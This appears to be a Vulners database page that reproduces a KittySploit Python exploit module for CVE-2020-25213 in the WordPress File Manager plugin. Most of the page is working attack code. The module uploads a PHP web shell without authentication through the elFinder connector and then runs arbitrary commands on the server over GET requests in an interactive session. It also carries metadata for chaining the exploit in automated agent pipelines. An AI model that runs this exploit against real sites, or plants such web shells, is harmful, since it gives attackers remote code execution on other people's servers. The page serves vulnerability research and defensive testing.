Lucene search
+L

WordPress File Manager RCE (CVE-2020-25213)

🗓️ 04 Sep 2026 06:36:51Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 4 Views

Unauthenticated elFinder upload in wp-file-manager leads to RCE.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress File Manager elFinder upload RCE (CVE-2020-25213) — execute session."""

from __future__ import annotations

import json
import re
import secrets

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'WordPress File Manager RCE (CVE-2020-25213)',
        'description': (
            'Exploits CVE-2020-25213 unauthenticated elFinder upload in '
            'wp-file-manager to drop a PHP shell, then runs commands via GET. '
            'Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2020-25213'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2020-25213',
            'https://plugins.trac.wordpress.org/changeset/2373068',
        ],
        'tags': ['wordpress', 'wp', 'file-manager', 'upload', 'php', 'rce', 'unauth', 'cve-2020-25213'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution', 'artifact_on_disk'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {
                'tech_hints_any': ['wordpress'],
                'endpoint_pattern_any': ['/wp-file-manager/'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'elFinder PHP upload'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/cve_2020_25213_detect'],
            },
        },
    }

    base_path = OptString('/', 'WordPress base path', False, advanced=True)

    _CONNECTOR = '/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php'

    def _prefix(self) -> str:
        base = (self.path or self.base_path or '/').strip()
        if not base.startswith('/'):
            base = '/' + base
        return base.rstrip('/')

    def _connector(self) -> str:
        return f'{self._prefix()}{self._CONNECTOR}'

    def _php_shell(self) -> str:
        return (
            '<?php '
            'if(isset($_GET["cmd"])){'
            'echo shell_exec($_GET["cmd"]);'
            '}'
            '?>'
        )

    def _upload_shell(self) -> tuple[str, str] | None:
        filename = f'{secrets.token_hex(4)}.php'
        boundary = secrets.token_hex(16)
        body = (
            f'--{boundary}\r\n'
            'Content-Disposition: form-data; name="cmd"\r\n\r\n'
            'upload\r\n'
            f'--{boundary}\r\n'
            'Content-Disposition: form-data; name="target"\r\n\r\n'
            'l1_Lw\r\n'
            f'--{boundary}\r\n'
            'Content-Disposition: form-data; name="mtime[]"\r\n\r\n'
            '1576045135\r\n'
            f'--{boundary}\r\n'
            f'Content-Disposition: form-data; name="upload[]"; filename="{filename}"\r\n'
            'Content-Type: application/x-php\r\n\r\n'
            f'{self._php_shell()}\r\n'
            f'--{boundary}--\r\n'
        )
        r = self.http_request(
            method='POST',
            path=self._connector(),
            data=body.encode(),
            headers={'Content-Type': f'multipart/form-data; boundary={boundary}'},
            allow_redirects=False,
        )
        if not r or int(r.status_code or 0) != 200:
            return None
        try:
            data = json.loads(r.text or '{}')
        except json.JSONDecodeError:
            return None
        added = data.get('added') or []
        if not added:
            return None
        entry = added[0] if isinstance(added[0], dict) else {}
        url = (entry.get('url') or '').replace('\\/', '/')
        if url:
            if url.startswith('http'):
                from urllib.parse import urlparse
                return urlparse(url).path, filename
            if not url.startswith('/'):
                url = '/' + url
            return url, filename
        hash_id = entry.get('hash') or ''
        if hash_id:
            return (
                f'{self._connector()}?cmd=open&target={hash_id}&download=1',
                filename,
            )
        uploads = f'{self._prefix()}/wp-content/uploads/wp-file-manager-pro/fm_{filename}'
        return uploads, filename

    def _shell_url(self) -> str | None:
        if getattr(self, '_cached_shell', None):
            return self._cached_shell
        uploaded = self._upload_shell()
        if not uploaded:
            return None
        self._cached_shell = uploaded[0]
        return self._cached_shell

    def execute(self, cmd: str) -> str:
        shell = self._shell_url()
        if not shell:
            return ''
        from urllib.parse import quote
        if '?' in shell:
            path = f'{shell}&cmd={quote(cmd)}'
        else:
            path = f'{shell}?cmd={quote(cmd)}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2020-25213 confirmed via PHP shell id',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'elFinder upload did not yield a working PHP shell',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        self._cached_shell = None
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Sep 2026 06:36Current
8.7High risk
Vulners AI Score8.7
CVSS 27.5
CVSS 3.19.8 - 10
EPSS0.97328
SSVC
4